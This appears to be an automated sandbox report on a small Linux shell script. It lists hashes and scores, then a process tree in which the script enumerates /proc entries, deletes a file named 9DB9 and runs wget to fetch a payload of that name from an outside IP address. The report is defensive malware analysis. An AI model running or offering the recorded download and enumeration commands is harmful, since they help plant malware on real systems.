498e6f39a30ba7693903cc89b113f81acde73f2ce16e9ab9147018882d5ec9fc

Analysis

max time kernel
148s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/06/2026, 20:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_498e6f39a30ba7693903cc89b113f81acde73f2ce16e9ab9147018882d5ec9fc.sh
Size 835B
Sample260622-zs6tmsgx7x
SHA256 498e6f39a30ba7693903cc89b113f81acde73f2ce16e9ab9147018882d5ec9fc
MD5 300f63c107f67a880fea9c9dd70aa24d
SHA1 d1f7c3f89bdbe60455c730a3d025e28b78ee69d5
SHA512 9d3be8b1ed457ca8597928869e2565c65f7693adae736ee1df1bf506ee63ad10e2d6c9e4b5bc49dc375213cbd4b5d183b8f4d499e30aa59342d5442b38194efa
TLSH
T18D01ABD68610A920441ADA1D22DB5290F450C3CF5A4B0F687FDC6E3EFBA8E14B127F85
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/_498e6f39a30ba7693903cc89b113f81acde73f2ce16e9ab9147018882d5ec9fc.sh
/tmp/_498e6f39a30ba7693903cc89b113f81acde73f2ce16e9ab9147018882d5ec9fc.sh
1⤵
PID:649
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:653
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:659
- /bin/ls
  ls -l /proc/104/exe
  2⤵
  - Reads runtime system information
  PID:665
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:671
- /bin/ls
  ls -l /proc/112/exe
  2⤵
  - Reads runtime system information
  PID:673
- /bin/ls
  ls -l /proc/114/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/142/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/146/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/154/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/176/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/221/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/276/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/279/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/283/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/286/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/309/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/318/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/326/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/329/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/572/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/587/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/595/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:740
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  - Reads runtime system information
  PID:758
- /bin/ls
  ls -l /proc/652/exe
  2⤵
  - Reads runtime system information
  PID:760
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:762
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:764
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  - Reads runtime system information
  PID:766
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:769
- /bin/rm
  rm -rf 9DB9
  2⤵
  PID:771
- /usr/bin/wget
  wget http://129.121.114.124/9DB9
  2⤵
  PID:774

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads